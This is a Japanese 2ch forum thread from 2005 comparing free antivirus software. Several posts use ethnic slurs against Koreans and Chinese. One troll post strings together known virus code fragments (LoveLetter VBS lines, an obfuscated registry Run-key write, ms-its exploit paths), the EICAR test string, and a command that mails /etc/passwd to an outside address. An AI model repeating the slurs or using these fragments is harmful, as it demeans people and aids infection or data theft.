05/10/06 00:13:15
国ってのは要するに単なる支配の縄張りの問題でしょ
「民族的な境界線」はたまたまそれに重なってるだけ、だからよく間違える
大昔の「満州国」の例とかを見れば小学生にもわかりそうなもんだけど
323:名無しさん＠お腹いっぱい。
05/10/06 00:16:18
アンチウイルスのスレで何をトンチンカンなことを言っとるんだ。
324:名無しさん＠お腹いっぱい。
05/10/06 00:55:47
>>322
は日本語がよく理解できないようだ。
325:名無しさん＠お腹いっぱい。
05/10/06 01:19:27
2ch用語の「電波」＝「自分が理解できないこと」
326:名無しさん＠お腹いっぱい。
05/10/06 08:54:32
キムチの香りがするよ。
327:名無しさん＠お腹いっぱい。
05/10/06 23:34:29
二言目にはそれか
328:名無しさん＠お腹いっぱい。
05/10/07 21:34:46
>>232-233
スレ違いな話にレスするのもなんだけど、初心者には扱い辛いソフトらしいよ
>※注意
>NOD32のウイルス定義パターンを1.1239へ更新するとブルースクリーンになる
>トラブルがユーザーから報告されています。ブルースクリーンに落ち着いて
>対処できないPC初心者ユーザーは、ウイルス定義更新の前にスレを読んで、
>トラブルが起きていないことを確認してから更新した方が賢明です。
>ｽﾚﾘﾝｸ(sec板:427-443番)
>
>※過去の不具合の一部
>レジストリが破壊されてWindowsシャットダウン時にブルースクリーンとなる問題
>登録済みのアプリケーションが強制削除される問題
>URLﾘﾝｸ(canon-sol.jp)
>ブルースクリーンが生じてWindowsが停止する問題が再発。
>URLﾘﾝｸ(canon-sol.jp)
>通信不能となって最悪の場合はOSがリブートの繰り返しになる問題
>URLﾘﾝｸ(canon-sol.jp)
>スキャンすると受信メールの全部が削除される問題
>URLﾘﾝｸ(canon-sol.jp)
>Windowsアップデートができなくなる問題
>URLﾘﾝｸ(canon-sol.jp)
329:名無しさん＠お腹いっぱい。
05/10/07 22:08:09
>>327はデムパなチョン。
330:名無しさん＠お腹いっぱい。
05/10/07 22:13:40
winXP
penM1.7GHz
512MB
上記スペックなんですが、どれを使ったらいいでしょうか？？
331:名無しさん＠お腹いっぱい。
05/10/07 22:26:07
そんな貴方には
中国市場占拠率No.1総合セキュリティ対策ソフト
「キングソフトインターネットセキュリティ2006」（中国名「金山毒覇」）
サポート掲示板も充実してます。
公式HP
URLﾘﾝｸ(www.kingsoft.jp)
332:名無しさん＠お腹いっぱい。
05/10/08 00:40:17
URLﾘﾝｸ(internet.watch.impress.co.jp)
ウイルスに共通ID「CME」を割り当て、名称の違いの混乱解消へ
MITREのほかにMcAfee、Symantec、Trend Micro、Microsoft、Sophos、ICSA Labs、
Norman、Kaspersky、MessageLabs、F-Secure、Computer Associatesが参加。
良心的なメーカーの多くが参加してくれるらしい。
こういうのは実現してくれた方がいいね。
333:名無しさん＠お腹いっぱい。
05/10/08 02:21:09
ここも支那人多いね。
334:名無しさん＠お腹いっぱい。
05/10/09 14:22:22
ま、PFWやらアンチスパイウェアやらも同梱らしいし
一万円のノートンvsとりあえず一年無料で使えるキングソフト、っつー構図ならいいんでねーの
統合性は初心者に良いかもしれないがこのスレで出てるように世界にはフリーでも
なかなか使えるアンチウイルスも多いので統合性求めないなら特にってことで
335:名無しさん＠お腹いっぱい。
05/10/09 22:32:56
そうだな。統合性考えたときに、現時点でノートンの牙城に対抗できて、しかも
フリーだという点でキングは有力だ。欧米のソフトは、何か東洋人に対しては怪しい
動きをするという噂もあることを考えると、キングあたりをとりあえず使っておく
というのが今後はお勧めできる。
336:名無しさん＠お腹いっぱい。
05/10/10 00:36:02
>>335
朝鮮様？
337:名無しさん＠お腹いっぱい。
05/10/10 01:01:32
>欧米のソフトは、何か東洋人に対しては怪しい
>動きをするという噂もあることを考えると
そんな噂は断じてない。お前の脳内だけだろう。
逆に中国のソフトが日本のOSに対して害を与える方が可能性としては高い。
しかしそれは怪しい動きというより、単に技術力が低いという理由からである。
338:名無しさん＠お腹いっぱい。
05/10/10 02:30:29
ンな事はない。断定房キモイぞ。
とりあえず。一番重要なのは、その国の法律に従って作成されると言うことかなぁ。
たとえば、××ソフトの場合、必ずインストールマシンの個人情報を中央に提出する事。とか。
ファイル暗号ソフトの場合、検閲の為のバックドアを必ず作成する事。とか。
その国の法律で定められたら、開発側は従わざるおえないからなぁ。
339:名無しさん＠お腹いっぱい。
05/10/10 02:33:35
>>338
ソースソース。及びそのようなソフトの実例でも提示しろ。
340:名無しさん＠お腹いっぱい。
05/10/10 06:40:59
マカフィーが何らかの情報をアメリカの鯖に送ろうとするのは既出だと思うが？
PFWを入れてると、
アメリカに通信しようとするのが分かる。。
ウイルス定義ファイルのダウンロード鯖ではないから、
何のために通信しようとしているかは不明。
詳細はマカフィースレでも聞いてくれ。
341:名無しさん＠お腹いっぱい。
05/10/10 07:52:16
avexに対する犯罪予告をした者です。
ｽﾚﾘﾝｸ(news板)
342:名無しさん＠お腹いっぱい。
05/10/10 12:47:27
>>338
だったら中国産なんて余計に気持ち悪いわ。
愛国無罪
343:名無しさん＠お腹いっぱい。
05/10/10 12:48:07
>>340
アホだろ。氏ねよチョン。
344:名無しさん＠お腹いっぱい。
05/10/10 13:46:18
>>339
俺は、ドイツ製の暗号化ソフトを使ってる。
その開発元の説明に、「バックドアはありません。でも、もし法律で作成を義務づけられたら従うしかありません。」
と、書いてある。
345:名無しさん＠お腹いっぱい。
05/10/10 15:37:23
>>344
もしの話なんかどうだっていい。現行の話をしろ。
346:名無しさん＠お腹いっぱい。
05/10/10 15:48:48
>>345
日本語よわいだろおまえ。
大体、どの国のなんというソフトかわからんのに、法律の話なんぞできるかボケ。
自分で使うソフトのことは、自分で調べろ。馬鹿。
347:名無しさん＠お腹いっぱい。
05/10/10 15:54:04
>>346
アホかお前。だったら>>338を妄言と認めろ。
認めないならこれを実施している該当国家と該当ソフトを示せ。
示せないなら消えろ。
348:名無しさん＠お腹いっぱい。
05/10/10 16:07:06
>>346
どの国のなんというソフト？
チェコのavastとAVG、ルーマニアのBitDefenderだ。
そんなこともわからんのかこのカスは。スレタイさえ読めないとみえる。
349:名無しさん＠お腹いっぱい。
05/10/10 16:26:29
まったく、何でも聞けば良いと思ってる馬鹿がいるな。>>347, >>348
350:名無しさん＠お腹いっぱい。
05/10/10 16:53:51
＞従わざるおえない
馬鹿丸出しだな。
351:名無しさん＠お腹いっぱい。
05/10/10 16:59:40
根拠を何一つ示せないバカって何ですぐ負け惜しみを言うんだろね
352:名無しさん＠お腹いっぱい。
05/10/10 19:17:48
なるほど。
ソフトを満足に買えない奴は「乞食根性」が染みついてるから、他人をあてにしてばっかり。ってなわけですね?
353:名無しさん＠お腹いっぱい。
05/10/10 21:25:58
そもそもセキュリティソフトに反日情報統制国家製の物を使うわけねーし。
354:名無しさん＠お腹いっぱい。
05/10/10 22:23:48
どうでもいいよ。
キング使いたきゃ勝手に使ってりゃいい。
使いたくないヤツになぜ勧めるのか。
そら荒れるって。
355:名無しさん＠お腹いっぱい。
05/10/11 00:30:53
一番いいソフトなんだから、勧めるの当たり前だろう。アホか？
356:名無しさん＠お腹いっぱい。
05/10/11 00:39:35
>>355
スレタイ読めよ中国人。一番いいソフトスレじゃねーからここ。
そもそもキングはフリーじゃない上に一番であるはずもない。さっさと消えな。
357:名無しさん＠お腹いっぱい。
05/10/11 02:56:35
おかしいな、そろそろスレ違いソフトの話題も飽きたので
無難に収束させようと>>334書き込んだのに
358:名無しさん＠お腹いっぱい。
05/10/11 03:08:18
335が馬鹿すぎただけで、別にあんたは関係ないよ
359:名無しさん＠お腹いっぱい。
05/10/11 20:59:31
コジキは人のせいにしてばかりだな。
360:名無しさん＠お腹いっぱい。
05/10/15 08:33:48
××ソフトの場合、必ずインストールマシンの個人情報を中央に提出する事。とか。
ファイル暗号ソフトの場合、検閲の為のバックドアを必ず作成する事
JWORD入りのこと？
削除しても勝手に返信
ｲﾝｽﾄｰﾙを勝手に行う
Googleがｽﾊﾟｲ認定
361:名無しさん＠お腹いっぱい。
05/10/15 21:18:57
中国Yahooが特定の単語を検索したユーザのIP情報を政府に報告しているのと同じ。
Yahooは「法律には逆らえません」というコメントを出している。
おまえら、世の中の事、ちゃんとわかってるか?
362:名無しさん＠お腹いっぱい。
05/10/15 23:32:08
>>361
で？
363:名無しさん＠お腹いっぱい。
05/10/15 23:45:30
単に中国が情報統制国家だと、それ以上の事は書いてないな。
つまり中華製ソフトを入れるのはやめましょうってことだよな。
364:名無しさん＠お腹いっぱい。
05/10/16 01:16:51
キングって、ｱﾝｲﾝｽﾄｰﾗを単独で出したんだな。
検出率もあのV3より低いらしいし、入れないでよかった。
365:名無しさん＠お腹いっぱい。
05/10/16 01:17:58
>>355
何を根拠に「一番いい」と吐かしてんだ？
それすら説明できねえのか？真性のアホか？
まぁ日本語覚えたてだろうから無理もねえか、消えな支那人。
366:名無しさん＠お腹いっぱい。
05/10/16 10:11:37
> 中国Yahooが特定の単語を検索したユーザのIP情報を政府に報告
中国Yahooで｢｣天安門｣など検索すると
中国政府関係の機関から ｳｲﾙｽ + ｽﾊﾟﾑ が大量に くるよ
報告有り
367:名無しさん＠お腹いっぱい。
05/10/16 10:20:39
中国ｳｻﾞｽ
368:名無しさん＠お腹いっぱい。
05/10/16 13:01:32
キングソフトが化けないかなー
369:名無しさん＠お腹いっぱい。
05/10/20 01:20:37
ＩＴ大国からのKingsoftどうよ？
370:名無しさん＠お腹いっぱい。
05/10/21 00:22:41
正直、>>366は物事を理解して書き込みをしてない事は明白。
371:名無しさん＠お腹いっぱい。
05/10/21 01:38:35
いったいどこ宛てに来るんだろうな、スパム。
372:名無しさん＠お腹いっぱい。
05/10/21 17:26:11
靖国神社だろ。
373:名無しさん＠お腹いっぱい。
05/10/21 17:31:29
AVGバージョンアップしたけど、使い心地どうですか？
374:名無しさん＠お腹いっぱい。
05/10/21 17:44:13
>>373 7.1に成ったのは有料版のみ。
375:名無しさん＠お腹いっぱい。
05/10/23 13:53:31
Clam Real-timeがでますた
URLﾘﾝｸ(sourceforge.net)
376:名無しさん＠お腹いっぱい。
05/10/23 14:23:50
>>374
バージョンが 7.1.361 になってるけどちがうの？
377:名無しさん＠お腹いっぱい。
05/10/23 15:27:39
フリーも7.1だね
378:名無しさん＠お腹いっぱい。
05/10/23 17:20:53
この板では、初歩的と思うけど
フリーのアンチウイルスソフト、検知率が高く
安全なソフトって何？
379:名無しさん＠お腹いっぱい。
05/10/23 17:25:33
>>378
ＮＯＤ３２
380:名無しさん＠お腹いっぱい。
05/10/23 17:32:36
Free？
なんですか、でなければク○ック
するのですか？
381:名無しさん＠お腹いっぱい。
05/10/23 17:34:56
>>380
買えよ
382:名無しさん＠お腹いっぱい。
05/10/23 18:45:47
>>380
本スレ見るといいよ
383:名無しさん＠お腹いっぱい。
05/10/23 21:28:46
>>378
Bit Defenderかな。
ただ、フルスキャンで超時間掛かる。
俺は、３時間２０分。
ＡＶＧとで２段構えでやってる。
384:名無しさん＠お腹いっぱい。
05/10/23 23:45:11
>>383
Bitには常駐監視がないことぐらい書いてあげなよ。
385:名無しさん＠お腹いっぱい。
05/10/24 09:51:45
>>378
日々進化するウイルスを相手にどんなソフトを入れていても絶対に安全と
いう環境は存在しない。
ほとんどのソフトはメジャーなウイルスにはほぼ１００％対応している。
マイナーなウイルスの検出率を気にしてもあまり意味は無い。
それよりも自分自身の行動で感染を防げる部分の方が余程大きい。
怪しいメール、リンク、ファイルは開かない事で９０％は感染を防げる。
386:名無しさん＠お腹いっぱい。
05/10/24 12:09:43
そんな正論言われてもなぁｗ
387:>385
05/10/24 12:26:17
幾つかのスレを覗けば判断出来る事を聞く人間には基本から教えるしかないし、
それ以上教えようが無い。
388:名無しさん＠お腹いっぱい。
05/10/24 13:06:16
開発用に使ってるWinサーバでは、フリーのアンチウィルスソフトは
ほとんど「サーバでは使えません」と弾かれる
Clam(Real-Time含む)ぐらいしか選択肢がない(Bitは試してないが…)
389:名無しさん＠お腹いっぱい。
05/10/24 13:34:43
いろいろと体験することが一番。
レジストリも汚れるが、手動で削除したり、フリーのレジストリークリーナ－もあるから、
試してみるのもいいかもよ。
390:名無しさん＠お腹いっぱい。
05/10/24 14:50:28
>>388
仕事で使ってるってのなら、そもそもほとんどのフリー版で規約違反。
391:名無しさん＠お腹いっぱい。
05/10/24 15:46:58
つーか、開発用のサーバにフリーのアンチウイルスソフトを入れるセキュリティ管理者って
どうなのよ、って感じなんだが。
392:名無しさん＠お腹いっぱい。
05/10/25 16:36:42
>391
いや、マジでそういうことってあったりするが？
予算の都合で絶対にサーバー用のアンチウイルスを入れられないので仕方なく、とか。
フリーでも無いよりはあった方がいいが、そういう会社は上司がバカなのでとっとと辞めた方がいいよね。
見積もりだしたらヒステリー起こされたとか聞いたときには、笑うしかなかったぞ。
外部に接続していないからって対策を怠っていて、ノートパソコンから感染、大騒動って話しは今でも時々聞く。
何かが起こって、内外に被害が出てからでは遅い、金もかかるということをわからない経営者はいまだに多いぞ。
まー、ネットワーク管理者を置いていない開発会社という、信じられないようなソフト会社もあるからね。
KrezやBugbearやNetskyを飼っているのに、ずぅ～っと放置しているバカ会社もあるから。
いくら言っても、そういうバカには通用しないから。
お前が金を出すのか？ とか、当社にクレームでもつける気か？ とか。
世の中には信じられないような会社が多すぎる……。
393:名無しさん＠お腹いっぱい。
05/10/25 16:57:23
あるあるｗ
394:388
05/10/25 17:54:59
自分の場合は、個人でMSDNライセンス(開発限定)で使っているのだけれど、
立ち上げる頻度が結構低くて(自習用なので…)
今までMcAfee3点セット入れてたのだけれど、流石にもったいないと思ったので。
フリーを入れたら片っ端から弾かれるし。
# リアルタイム検索ができる有名どころ >>24 は全部試した(はず)。
MSDN個人で契約してるっていっても金銭的に余裕があるわけでも無いし。
まあ、とりあえず>>388 でClamRTはインストールできたのでそれを使ってみます。
…ってスレClamWinスレ寂れ杉
395:名無しさん＠お腹いっぱい。
05/10/25 18:06:01
>>392
悪いのは、仕掛ける方（ウイルストロイなど）という考えしかないのでは？
馬鹿だよな、放って置く事で自企業の信用を失い続けている事に気がつかないのだからな。
何で他人の懐のために、我々が身銭を切る必要があるのかという考えなんだろう。
そういうところは、内部的に大損害を蒙らなければ腰を上げない。
396:名無しさん＠お腹いっぱい。
05/10/26 00:31:34
※ウイルスの速報
■Mocbot.Aが悪用するのは、「MS05-047」ではなく「MS05-039」だった
URLﾘﾝｸ(internet.watch.impress.co.jp)
当初、Windows XP/2000におけるプラグアンドプレイの脆弱性「MS05-047」を突いて
侵入するとされていたウイルス「Mocbot.A」だが、実際にはMS05-047ではなく、
8月に公開された別のプラグランドプレイの脆弱性「MS05-039」を突くウイルスだったことがわかった。
■2005/10/26で対応しているアンチウイルス製品
ウイルスバスター
URLﾘﾝｸ(www.trendmicro.com)
F-Secure（カスペルスキー含む）
URLﾘﾝｸ(www.f-secure.com)
McAfee
URLﾘﾝｸ(vil.nai.com)
ノートン
URLﾘﾝｸ(securityresponse.symantec.com)
397:名無しさん＠お腹いっぱい。
05/10/28 00:10:32
何かあるぞ。
ｽﾚﾘﾝｸ(sec板)l50
398:名無しさん＠お腹いっぱい。
05/10/30 21:02:53
Bitdefenderがウィルスを検出してくれない・・・
トレンドマイクロオンラインスキャンで試すと検出するんだが。
msgupdated.exeとかいうファイル名で常駐してる。
あと、フリーなetrustでも検出されない。
399:名無しさん＠お腹いっぱい。
05/10/31 00:38:23
>>398
∧＿∧
（ ´∀｀） ／￣￣￣￣￣
（ ） ＜ IRC BackDoor Trojan
｜ ｜ ｜ ＼＿＿＿＿＿
（_＿）___）
400:名無しさん＠お腹いっぱい。
05/11/01 18:14:25
>>399
ｻﾝｺｽ
でも結局消せなかったので、レジストリいじって黙らせますた・・・
401:名無しさん＠お腹いっぱい。
05/11/16 17:27:37
AVG
AntiVir
eTrust
お前らどれ使ってんの？
おすすめ教えれ
402:名無しさん＠お腹いっぱい。
05/11/16 17:32:08
俺ＡＶＧ入れたけどあまりのうんこにアンスコ予定
つかavastも候補にいれとけ
403:名無しさん＠お腹いっぱい。
05/11/16 17:46:31
eTrust（１２ヶ月無料版）入れてる、性能はまぁ～あれだけど
旧式３ｒｄＰＣには軽くて重宝している。
タダだからいいけど、これにお金を払うのはどうかと思う・・・
404:名無しさん＠お腹いっぱい。
05/11/16 18:03:28
Avast!!かeTrustにBitDefender組み合わせて使っとくといいよ。
検出力はBitDefenderで補える。
Avast!とeTrustは軽快さもいい。
405:名無しさん＠お腹いっぱい。
05/11/16 18:55:31
色んなスレでavast厨が暴れてるな。
406:名無しさん＠お腹いっぱい。
05/11/16 18:59:21
BitDefenderはコマンドラインで使え
BitDefenderはコマンドラインで使え
407:名無しさん＠お腹いっぱい。
05/11/16 19:01:25
Avastは重いけど
408:名無しさん＠お腹いっぱい。
05/11/16 19:01:56
avast入れたらシャットダウンできなくなるし
409:名無しさん＠お腹いっぱい。
05/11/16 19:23:50
Avastが重いなら殆どのAVは使えないな。
410:名無しさん＠お腹いっぱい。
05/11/16 21:53:39
Avastは重くはないが、標準シールドの検査がどんくせー
もうちょいパパッと検査できんのか？糞重いNortonでもささっと検査してくれる
411:名無しさん＠お腹いっぱい。
05/11/16 23:26:52
俺はMeにavast入れて半年以上になるけど、シャットダウン問題は１度も経験ないな。
412:名無しさん＠お腹いっぱい。
05/11/17 00:59:53
XPで問題あるんだよ
413:親分。
05/11/17 02:52:40
>>1
∧ ∧
(・∀ ・)＜ 皆の者、おはよう！！
<( )v
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
End Sub
♣ ♥
cat /etc/passwd | mail nobody@nonexistent.com
♠ ♦
ms-its:mhtml:file://c:\ms-its:mhtml:file://c:\ms-its:mhtml:file://c:\
414:名無しさん＠お腹いっぱい。
05/11/17 03:44:21
>>410
解凍したりディスクに書き込まれた瞬間に反応するけどこれでも遅いのかな。
415:名無しさん＠お腹いっぱい。
05/11/17 12:03:06
>>414
はぁ？
アプリ実行時の検査だボケ
avastaマンセーのガキは、使ってる本人までとろくせー
416:名無しさん＠お腹いっぱい。
05/11/17 12:11:41
はぁ？
417:名無しさん＠お腹いっぱい。
05/11/18 01:48:56
はぁはぁうるせー
418:名無しさん＠お腹いっぱい。
05/11/18 01:53:58
お笑い芸人のまちゃまちゃさんがいると聞いて来ました
419:名無しさん＠お腹いっぱい。
05/11/18 14:20:14
やぁ、このスレを見た君にとっておきのスペシャルなニュースだ
君はコンピューターウイルスをくらったことあるかい？
ウイルスはとっても危険だ、誰だって避けたい
でも2ちゃんにはそんなウイルスがしこんであるアドレスがたくさん貼ってある
その度にタイーホなんて言われるがリアル逮捕なんてほとんど無い
でもこれは立派な犯罪だ(URLﾘﾝｸ(www.ss.iij4u.or.jp))
これから紹介するスレは>>1ことID:H+tEOmVN0が確信的にウイルスを貼って
それをふんだ人を見てあざけ笑っているという、とってもファンキーなスレだ
どうだい君もID:H+tEOmVN0同じように軽い気持ちでリアル通報してみないかい？
みんながまじめに通報なんてしたら
普段やる気の無いポリスも｢いっちょやってみっか｣って気分になるってもんさ
おっと、そこの優しい君はID:H+tEOmVN0がかわいそうなんて思ったかい？
そんな心配、無問題
ID:H+tEOmVN0は逮捕の殿堂に入れるとウキウキワクワク
そんなに期待されたら通報するしかないじゃない
ここらでこれからの2ちゃんのために
｢2ちゃんにウイルスを貼って通報されて逮捕｣っていう分かりやすい前例作ろうぜ！
↓>>1のアドレスにはウイルスしこんであります
ｽﾚﾘﾝｸ(news板)
420:名無しさん＠お腹いっぱい。
05/11/18 14:28:44
はぁ？
421:名無しさん＠お腹いっぱい。
05/11/18 20:54:31
ふぇ？
422:名無しさん＠お腹いっぱい。
05/11/18 21:05:44
ほぉ？
423:名無しさん＠お腹いっぱい。
05/11/19 11:15:32
TrustPort Workstation Antivirus
URLﾘﾝｸ(www.aec.cz)
Free TrustPort Workstation for home-users
ｽﾚﾘﾝｸ(sec板)
1 名前：名無しさん＠お腹いっぱい。 投稿日：2005/10/25(火) 20:31:40
NT、2000、XP用のAVやPFW等がセットになったTrustPort WorkstationがAVGやavast!と
同じような条件で無料です。登録すると1年間有効なライセンスキーが送られてきます。
但し、試用扱いでサポートはありません。
Norman Virus Controlのエンジンを使っていますが、BitDefenderが追加予定です。
開発元
URLﾘﾝｸ(www.aec.cz)
登録のページはGoogleでTrustPort Workstationを検索すると最初に出ます。
ライセンスはConfigurationのLicense Keysで読込・確認ができます。
424:名無しさん＠お腹いっぱい。
05/11/20 19:53:51
12月で3年使ったノートンとおさらばなんですが、その間一回もウイルス感染しなかったし
大してネット利用しないので今後はフリーのやつで十分ですか？
425:名無しさん＠お腹いっぱい。
05/11/20 20:44:43
(･∀･)ｲｲ！
426:名無しさん＠お腹いっぱい。
05/11/20 20:52:38
（ ＾３＾）≡○#) ３・）∴.;
427:名無しさん＠お腹いっぱい。
05/11/20 23:48:37
>>424
フリーも充分進化してるしね、鯖とかやってないなら十分かも。
少なくともウィルスセキュリティとかの怪しい製品入れるよりは安全。
とはいえウィルス感染の手段も年々進化してるし
ノートン先生からフリーに変える以上は今まで以上に注意＆責任感が必要ですが。
428:名無しさん＠お腹いっぱい。
05/11/21 15:01:59
（ ＾３＾）≡○#) ３・）∴.;
429:名無しさん＠お腹いっぱい。
05/11/21 18:18:54
（ ＾３＾）≡○#) ３・）∴.;
430:名無しさん＠お腹いっぱい。
05/11/22 13:16:07
>427
上手い誘導だ。
ノートン「先生」ってあんた、、、
生徒を一度つかんだら絶対に放さないようにゴミを残すって意味ですかね。
431:名無しさん＠お腹いっぱい。
05/11/22 14:27:23
（ ＾３＾）≡○#) ３・）∴.;
432:名無しさん＠お腹いっぱい。
05/11/22 14:27:27
( ﾟ∀ﾟ)つ【脳豚尻】
122AAKLMNOPR78SD
VPCTRCKHVBCVGMVDHJPDBBD2
433:名無しさん＠お腹いっぱい。
05/11/22 19:45:12
>>430
URLﾘﾝｸ(d.hatena.ne.jp)
434:名無しさん＠お腹いっぱい。
05/11/22 20:18:03
>>430
スレ違い。フリー製品スレにきてまで暴れなくてもいいよ。
>NOD32アンチウィルス Part24
>457 名前：名無しさん＠お腹いっぱい。 [sage] 投稿日：2005/11/20(日) 16:47:32
>ノートンは糞、何度でも言ってやるよｗｗ
>そこらじゅうで言ってやるぜｗｗ
この暴れぶり。
>セキュリティ板などにインチキな比較画像をコピペしたのもNOD厨だった。
>ｽﾚﾘﾝｸ(tubo板:321-329番)
>
>他の製品も相当な被害に遭っているし・・・・。
>ｽﾚﾘﾝｸ(sec板:6-10番)
435:名無しさん＠お腹いっぱい。
05/11/26 08:18:03
貧弱ノートPC（WindowsMe）で使えて、軽いのどれ？
436:名無しさん＠お腹いっぱい。
05/11/26 08:23:41
age
437:名無しさん＠お腹いっぱい。
05/11/26 08:33:31
avg
438:名無しさん＠お腹いっぱい。
05/11/26 09:24:39
フリーのアンチウイルスソフト 主な製品の能力比較
検出力 常駐 更新 2ﾊﾞｲﾄ文字 言語
4 ○ ○ × 英語 AntiVir
3 ○ ○ ○ 日本語 Avast
2 ○ ○ ○ 英語 AVG
5 × ○ ○ 英語 BitDefender
2 ○ ○ ○ 日本語 eTrust
5 ○ ○ ○ 英語 TrustPort
439:名無しさん＠お腹いっぱい。
05/11/26 12:18:52
日本語で検出力そこそこのavastを常駐、
常駐しないが検出力高のBitDefenderをマニュアルスキャン用。
その表を鵜呑みにすればこの組み合わせがベターになるかな。
440:名無しさん＠お腹いっぱい。
05/11/26 12:48:52
表を鵜呑みにするなら TrustPort だけで十分じゃないか
これだから一見検出力重視のようで単に英語嫌いの avast 厨は(ry
441:名無しさん＠お腹いっぱい。
05/11/26 12:51:26
別に好きなもの組み合わせれば、いいんじゃないかなぁ。
442:名無しさん＠お腹いっぱい。
05/11/26 14:21:03
オンラインだけで十分
443:名無しさん＠お腹いっぱい。
05/11/26 18:26:30
今日このスレ始めて見たけど、AVGの検出がすげー適当な気がするのは気のせいじゃなかった訳だ。
TrustPort入れてみたけど融通が利かない
2バイト検出出来ないと恐いし、Avastか現状維持か、悩むね。
Avast+BitDefenderが良いかねぇ
444:名無しさん＠お腹いっぱい。
05/11/26 18:29:27
そして444
445:名無しさん＠お腹いっぱい。
05/11/26 18:34:16
俺もAvastとか使ってるけどNODも使ってる
更新料なんか月に換算すると\210くらいだしPCが1台なら
有料ソフトも考えてみてもいいんじゃないかな。
446:名無しさん＠お腹いっぱい。
05/11/26 20:54:52
BitDefender有料になったの？
なんかダイアログがでるようになったんだけど
447:名無しさん＠お腹いっぱい。
05/11/26 20:55:29
スマン・・・orz
448:名無しさん＠お腹いっぱい。
05/11/27 00:28:11
>>443なんだけども
Avast入れたら起動後にどんでもない重さ(タスクマネージャさえ開けない)になって
アンインストールしたらTCPやら通信関連のファイル全部破壊された。
正直、Avast氏ねよ
449:名無しさん＠お腹いっぱい。
05/11/27 00:39:48
スキルの無さをソフトにあたるなよ…
450:名無しさん＠お腹いっぱい。
05/11/27 00:44:18
15分で全復旧させた俺にスキルの無い言うか
どうも相性が悪かっただけみたいだけどね
451:名無しさん＠お腹いっぱい。
05/11/27 01:14:26
どっちにせよ、争い事になるような発言は慎もうな
452:名無しさん＠お腹いっぱい。
05/11/27 01:43:51
>>449が発端だと思うんだ、おれ
前もAvastでOS㌧だとか出てた気がする、相当前
453:名無しさん＠お腹いっぱい。
05/11/27 01:53:38
シマンテック社員乙！
こんなところにまでアラシに来て
そんなに売れないの？>ノートン
ま、バグだらけのソフトなんて買う奴いないか
買うのは狂信者くらいだよねw
454:名無しさん＠お腹いっぱい。
05/11/27 07:57:24
>15分で全復旧させた
バックアップからリストア・・・・・・
455:名無しさん＠お腹いっぱい。
05/11/27 07:58:07
15分ってリカバリしただけじゃねぇの？w
その辺のファイル片っ端から壊されたらそんなもんで終わる訳無いと思うんだが。
456:454
05/11/27 08:02:56
7時間以上前の発言に40秒違いで同じレス返すな！！w
457:名無しさん＠お腹いっぱい。
05/11/27 09:25:40
どんなにスキルを持ってる人間でも失敗する事はある訳だし、製作側も
ネット上で配布するなら、ある程度はスキルの無い人間が扱う事も想定
して作らなければならない訳だが、どんなソフトにも必ずバグや想定外
は存在する。
まぁ、PC使ってる限り、誰でも遭遇する可能性のある事態って事だ。
そんな分かりきった事で言い合いすんなよ。
458:名無しさん＠お腹いっぱい。
05/11/27 10:39:55
>>457
スタイル作者乙
459:名無しさん＠お腹いっぱい。
05/11/27 13:43:38
>>457
こなれてくると汚れるソフトはインストしない=不具合もめったに起きない
程度問題ってやつだな。
リカバリしてスキルあるとか言ってるレベルやつはしかるべきって程度だ。
460:名無しさん＠お腹いっぱい。
05/11/27 14:13:10
>>459
て事は、avast もインストしちゃいけないソフトなのか？
461:名無しさん＠お腹いっぱい。
05/11/27 14:31:32
>>460
アンインストしてすぐ他のに乗り換えるぐらいなら使わない方が安心。
462:名無しさん＠お腹いっぱい。
05/11/27 14:34:48
>>461
話をすりかえるなよ…
463:名無しさん＠お腹いっぱい。
05/11/27 14:44:36
>>462
すり替えも何も、ただの積み重ねの問題。
過去にそういう事をやってない人なら比較的安心って事。
既に汚れまくってるならOS入れなおせ。
464:名無しさん＠お腹いっぱい。
05/11/27 14:46:05
このスレでAvast貶すとこうなるんだよ。
465:名無しさん＠お腹いっぱい。
05/11/27 15:00:35
>>463 何故そんな極論に走る…アホか
>>464 そうらしいな
466:名無しさん＠お腹いっぱい。
05/11/27 15:12:02
誤解されちゃ困るので書いておくが、別に avast を貶めようとしてた訳じゃないから。
467:名無しさん＠お腹いっぱい。
05/11/27 20:34:26
>>438をみるとTrustPortが良さげに見えるんだけど
使っているというカキコがほとんどないのはなぜ？
何か致命的な欠点とかあるん？
468:名無しさん＠お腹いっぱい。
05/11/27 20:37:58
>>467
URLﾘﾝｸ(www2.pf-x.net)
このへん見て参考にするといいよ
469:名無しさん＠お腹いっぱい。
05/11/27 20:41:15
>>468
サンクス。
470:名無しさん＠お腹いっぱい。
05/11/27 22:03:35
normanてあるのか
nortonの間違いだとずっと思ってた
471:名無しさん＠お腹いっぱい。
05/11/27 22:11:54
>>448 ザマミロ
472:名無しさん＠お腹いっぱい。
05/11/27 22:14:28
>>467
タスクトレイにアイコンが2つできることを筆頭に全体にそこはかとなくダサさが感じられるのと
あと何よりかなり重いのがネックかな…モノは確かに良いんだろうけど
473:名無しさん＠お腹いっぱい。
05/11/27 22:38:00
ava厨もウザイしな～。
474:名無しさん＠お腹いっぱい。
05/11/27 22:44:54
>>473
シマンテック社員はもっとウザイ
475:名無しさん＠お腹いっぱい。
05/11/27 22:54:19
avaは勧誘してないのに、続々シマ難民がきやがる。
476:名無しさん＠お腹いっぱい。
05/11/27 23:04:32
キングソフトのはどのような評価でしょうか？
URLﾘﾝｸ(download.kingsoft.jp)
初心者なんで答えて欲しいのですが
フリーアンチウイルスソフトで十分セキュリティは大ジョブでしょうか？
どれをインストールしようかまようｘています。
477:名無しさん＠お腹いっぱい。
05/11/27 23:08:46
いいんじゃないの キング
478:名無しさん＠お腹いっぱい。
